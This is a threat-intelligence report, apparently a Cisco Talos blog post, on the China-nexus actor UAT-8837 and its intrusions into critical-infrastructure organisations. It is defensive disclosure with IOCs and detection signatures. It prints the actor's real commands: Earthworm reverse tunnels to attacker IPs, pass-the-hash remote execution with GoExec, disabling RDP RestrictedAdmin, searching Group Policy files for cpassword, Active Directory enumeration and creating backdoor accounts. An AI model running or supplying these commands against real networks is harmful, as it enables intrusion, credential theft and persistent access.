UAT-8837 targets critical infrastructure sectors in North America

By Asheer Malhotra

Published: 2026-01-15 · Archived: 2026-04-05 15:40:10 UTC

Thursday, January 15, 2026 06:00

- Cisco Talos is closely tracking UAT-8837, a threat actor we assess with medium confidence is a China-nexus advanced persistent threat (APT) actor based on overlaps in tactics, techniques, and procedures (TTPs) with those of other known China-nexus threat actors.
- Based on UAT-8837's TTPs and post-compromise activity Talos has observed across multiple intrusions, we assess with medium confidence that this actor is primarily tasked with obtaining initial access to high-value organizations.
- Although UAT-8837's targeting may appear sporadic, since at least 2025, the group has clearly focused on targets within critical Infrastructure sectors in North America.

After obtaining initial access — either by successful exploitation of vulnerable servers or by using compromised credentials — UAT-8837 predominantly deploys open-source tools to harvest sensitive information such as credentials, security configurations, and domain and Active Directory (AD) information to create multiple channels of access to their victims. The threat actor uses a combination of tools in their post-compromise hands-on-keyboard operations, including Earthworm, Sharphound, DWAgent, and Certipy. The TTPs, tooling, and remote infrastructure associated with UAT-8837 were also seen in the recent exploitation of CVE-2025-53690, a ViewState Deserialization zero-day vulnerability in SiteCore products, indicating that UAT-8837 may have access to zero-day exploits.

Post-compromise actions

UAT-8837 can exploit both n-day and zero-day vulnerabilities to gain access to target environments. Most recently, UAT-8837 exploited a ViewState Deserialization zero-day vulnerability in SiteCore products, CVE-2025-53690, to obtain initial access.

After UAT-8837 gains initial access, they begin conducting preliminary reconnaissance, leveraging the following commands:

```
ping google[.]com
tasklist /svc
netstat -aon -p TCP
whoami
quser
hostname
net user
```

The threat actor disables RestrictedAdmin for Remote Desktop Protocol (RDP) to obtain credentials for remoting into other devices:

```
REG ADD HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 00000000
```

A shell console may subsequently be opened via “cmd.exe” to conduct hands-on keyboard activity on the compromised endpoint. Multiple artifacts are then downloaded to the following directories which were extensively used for staging artifacts:

```
C:\Users\<user>\Desktop\
C:\windows\temp\
C:\windows\public\music
```

UAT-8837 may use a variety of tooling throughout the course of an intrusion. This variation in tooling may be because many of these tools are detected and blocked by most security products such as Cisco Secure Endpoint (CSE) which often leads the threat actor to cycle through different variants of the tools to find versions that are not detected.

GoTokenTheft

The GoTokenTheft utility is a tool for stealing access tokens. Written in GoLang and deployed at C:\Users\<user>\Desktop\go.exe, it may be used to steal tokens to run commands with elevated privileges:

```
eee.ico REG ADD HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d (
```

Earthworm

Earthworm is network tunneling tool that has extensively been used by Chinese-speaking threat actors in intrusions to expose internal endpoints to attacker-owned remote infrastructure. UAT-8837 deploys multiple versions of Earthworm to determine which are not detectable by endpoint protection products. The undetected version is then used to create a reverse tunnel to attacker-controlled servers, as seen in the commands below:

```
C:\Windows\Temp\v.ico -s rssocks -d 172[.]188[.]162[.]183 -e 1433

C:\users\public\videos\verr.ico -s rssocks -d 172.188.162.183 -e 443

C:\Windows\Temp\eir.ico  -p 8888 -t 172[.]188[.]162[.]183 -f 11112

cisos.ico -s rssocks -d 172[.]188[.]162[.]183 -e80

vgent.ico -s rssocks -d 172[.]188[.]162[.]183 -e 443

vgent.ico -s rssocks -d 172[.]188[.]162[.]183 -e 447
```

```
abc.ico -s rssocks -d 4[.]144[.]1[.]47 -e 448

C:\users\public\music\aa.exe -s rssocks -d 74[.]176[.]166[.]174 -e 443

C:\Users\public\Music\twd.exe -s rssocks -d 20[.]200[.]129[.]75 -e 443
```

DWAgent

UAT-8837 deploys DWAgent, a remote administration tool, to make it easier to access the compromised endpoint and drop additional malware to the system:

```
C:\Users\\Downloads\dwagent.exe

C:\Users\\AppData\Local\Temp\dwagent20250909101732\runtime\dwagent.exe -S -m installer
```

SharpHound

Per Talos' observations, UAT-8837 downloads SharpHound with the intention to collect Active Directory information:

```
C:\Windows\Temp\SharpHound.exe
```

Impacket

UAT-8837 makes several attempts to download Impacket-based binaries to use in their operations:

```
C:\Windows\Temp\wec.ico
```

When Impacket is detected and blocked, Invoke-WMIExec is downloaded to run commands with elevated privileges:

```
C:\Windows\Temp\Invoke-WMIExec.ps1
```

GoExec

In one intrusion, after cycling through a number of tools, UAT-8837 deployed GoExec, a GoLang-based remote execution tool to execute commands on other connected remote endpoints within the victim's network:

```
goe.ico wmi proc 10[.]xx[.]xx[.]xx -u <u>/<p> -H <hash> -e 'cmd.exe' -a '/C hostname /all' -o-

C:\Windows\Temp\goe.exe wmi proc 10[.]xx[.]xx[.]xx \
```

```
goe.ico wmi proc 10[.]xx[.]xx[.]xx -u <u>/<p> --nt-hash <hash> -e cmd.exe -a /C hostname -o 1.txt

goe.ico wmi proc 10[.]xx[.]xx[.]xx -u <user> --nt-hash <hash> -e cmd.exe -a /C hostname -o 1.txt

goe.ico wmi proc 10[.]xx[.]xx[.]xx -u <user> --nt-hash 00000000000000000000000000000000:<hash> -e cm

goe.ico dcom mmc 10[.]xx[.]xx[.]xx -u <user> --nt-hash 00000000000000000000000000000000:<hash> -e cm

goe.ico wmi proc 10[.]xx[.]xx[.]xx -u <user> -p <password> -e cmd.exe -a /C hostname -o 1.txt

g.ico dcom mmc 10[.]xx[.]xx[.]xx -u <user> -p <password> -e cmd.exe -a /C ipconfig -o-
g.ico wmi proc 10[.]xx[.]xx[.]xx -u <user> -p <password> -e cmd.exe -a /C hostname -o-
```

It is worth noting here that the usage of GoExec was likely an on-the-fly decision by the operator, necessitated by the constant detection and blocking of the threat actors tooling by CSE.

The threat actor also attempted to download and execute SharpWMI in the compromised environment, which was again detected by CSE:

```
C:\Windows\Temp\s.ico
```

Rubeus

Rubeus, a C# based toolset for Kerberos abuse may also be deployed:

- C:\Windows\Temp\r.ico
- C:\Windows\Temp\lo.txt

Certipy

UAT-8837 also deploys Certipy, a tool for AD discovery and abuse, to:

```
C:\Windows\Temp\Certipy.exe
```

Hands-on-keyboard activity

UAT-8837 may run a series of commands during the intrusion to obtain sensitive information, such as credentials from victim organizations:

```
findstr /S /l cpassword [\\]\policies\*.xml
```

The system's security configuration is also exported using secedit:

```
secedit /export /cfg C:\windows\temp\pol.txt
```

Windows Local security policies extracted via secedit include password policies, user rights and audit settings. This information may be valuable to adversaries who seek to evaluate an endpoint's security posture including network security settings.

In one victim organization, UAT-8837 exfiltrated DLL-based shared libraries related to the victim's products, raising the possibility that these libraries may be trojanized in the future. This creates opportunities for supply chain compromises and reverse engineering to find vulnerabilities in those products.

Domain reconnaissance

The net commands typically used to query domain groups and users are:

```
net group domain admins /domain

net localgroup administrators /domain

net group <name> /domain

net user <user> <password> /domain

net user <user> /domain

net accounts /domain

net user <user> /domain

nltest /DCLIST:<domain>

nslookup <subdomina>.<domain>
```

The `setspn` command is used to list and query Service Principal Names (SPN) data from Active Directory:

```
setspn -L

setspn -Q */*
```

Active Directory reconnaissance

UAT-8837 deploys a combination of tools to perform AD reconnaissance in the compromised environment. These tools include SharpHound and Certipy. The threat actor also uses the Windows-native tool "setspn" to query for

AD data. However, UAT-8837 also brings their own living-off-the-land (LOTL) tooling. In one intrusion, the actor deployed dsget and dsquery to query for specific properties in the AD:

```
dsquery.exe user -limit 0

dsquery.exe user -name <name>

dsget user -samid -display -email -upn

dsget.exe user -samid -display -email -upn

dsquery.exe user -samid <id>

dsget.exe user -display -email -upn

dsquery.exe user -name admin

dsget.exe user CN=<id>,OU=ServiceAccounts,OU=Production,DC=prod,DC=<domain>,DC=com -samid -display -

dsget.exe user CN=<id>,OU=ServiceAccounts,OU=Production,DC=prod,DC=<domain>,DC=com -upn

dsget.exe user CN=<id>,OU=ServiceAccounts,OU=Production,DC=prod,DC=<domain>,DC=com –memberof

dsget.exe user CN=<id>,OU=ServiceAccounts,OU=Production,DC=prod,DC=<domain>,DC=com –disabled

dsquery * DC=prod,DC=<domain>,DC=com -filter (objectClass=user) -attr * -limit 0
```

Backdoored user accounts

The threat actor created user accounts to open up another channel of access to the compromised environment:

```
net user <user> <password> /add /domain
```

In another instance, UAT-8837 added an existing user account to local groups:

```
net user <user>

net localgroup <group> <user> /add
```

Coverage

The following ClamAV signature detects and blocks this threat:

- Win.Malware.Earthworm

The following Snort Rules (SIDs) detect and block this threat:

- Snort 2 – 61883, 61884, 63727, 63728
- Snort 3 – 300585, 63727, 63728

Indicators of compromise (IOCs)

The IOCs for this threat are also available at our GitHub repository here.

```
1b3856e5d8c6a4cec1c09a68e0f87a5319c1bd4c8726586fd3ea1b3434e22dfa - GoTokenTheft
451e03c6a783f90ec72e6eab744ebd11f2bdc66550d9a6e72c0ac48439d774cd - Earthworm
B3f83721f24f7ee5eb19f24747b7668ff96da7dfd9be947e6e24a688ecc0a52b - Earthworm
Fab292c72ad41bae2f02ae5700c5a88b40a77f0a3d9cbdf639f52bc4f92bb0a6 - Earthworm
4f7518b2ee11162703245af6be38f5db50f92e65c303845ef13b12c0f1fc2883 - Earthworm

891246a7f6f7ba345f419404894323045e5725a2252c000d45603d6ddf697795 - GoTokenTheft
5090f311b37309767fb41fa9839d2770ab382326f38bab8c976b83ec727e6796 - SharpHound
6e8af5c507b605a16373e8453782bfd8a3ec3bd76f891e71a159d8c2ff2a5bb0 - Impacket
887817fbaf137955897d62302c5d6a46d6b36cb34775e4693e30e32609fb6744 - GoExec
4af156b3285b49485ef445393c26ca1bb5bfe7cdc59962c5c5725e3f3c574f7c - GoExec
1de72bb4f116e969faff90c1e915e70620b900e3117788119cffc644956a9183 - SharpWMI
51d6448e886521aaaaf929a50763156ceb99ede587c65de971700a5583d6a487 - Rubeus
2f295f0cedc37b0e1ea22de9d8cb461fa6f84ab0673fde995fd0468a485ddb59 - Rubeus
E27e6e8e97421593f1e8d66f280e894525e22b373248709beaf81dc6107fb88d - Certipy

B7ecd4ff75c0e3ed196e1f53d92274b1e94f17fa6c39616ce0435503906e66fb
42e3ad56799fbc8223fb8400f07313559299496bb80582a6cbae29cb376d96c3
6d20371b88891a1db842d23085a0253e36cf3bf0691aee2ae15a66fc79f3803d
4e8304040055d3bffcb3551873da45f66577723d1a975416a49afa5aec4eb295
BDF7B28DF19B6B634C05882D9F1DB73F63252F855120ED3E4DA4E26F2C6190E8
1c5174672bf2ccedb6a426336ca79fd326e61cd26dd9ae684b8ffd0b5a70c700
d0beb6184ea4402c39e257d5912c7ace3607e908e76127014e3ec02866b6d70c
194ca1b09902ceaaa8a7e66234be9dc8a12572832836361f49f1074eae861794
74e68b4e07d72c9b8e0bc8cbfd57f980b4a2cd9d27c37bb097ca4fb2108706e3
Ced14e8beb20a345a0d6f90041d8517c04dbc113feff3bc6e933968d6b846e31
8bf233f608ea508cd6bf51fb23053d97aa970b8d11269d60ce5c6e113e8e787a
5391f69425217fa8394ebac0d952c5a3d1f0f5ac4f20587978cd894fdb6199cd
8bc008a621c5e3068129916770d24ee1d7d48079ee42797f86d3530ca90e305c
De9c13b1abeab11626a8edc1385df358d549a65e8cc7a69baca84cd825acc8e7
4d47445328bfd4db12227af9b57daab4228244d1325cba572588de237f7b2e98

74[.]176[.]166[.]174
20[.]200[.]129[.]75
172[.]188[.]162[.]183
4[.]144[.]1[.]47
103[.]235[.]46[.]102
```

Source: https://blog.talosintelligence.com/uat-8837/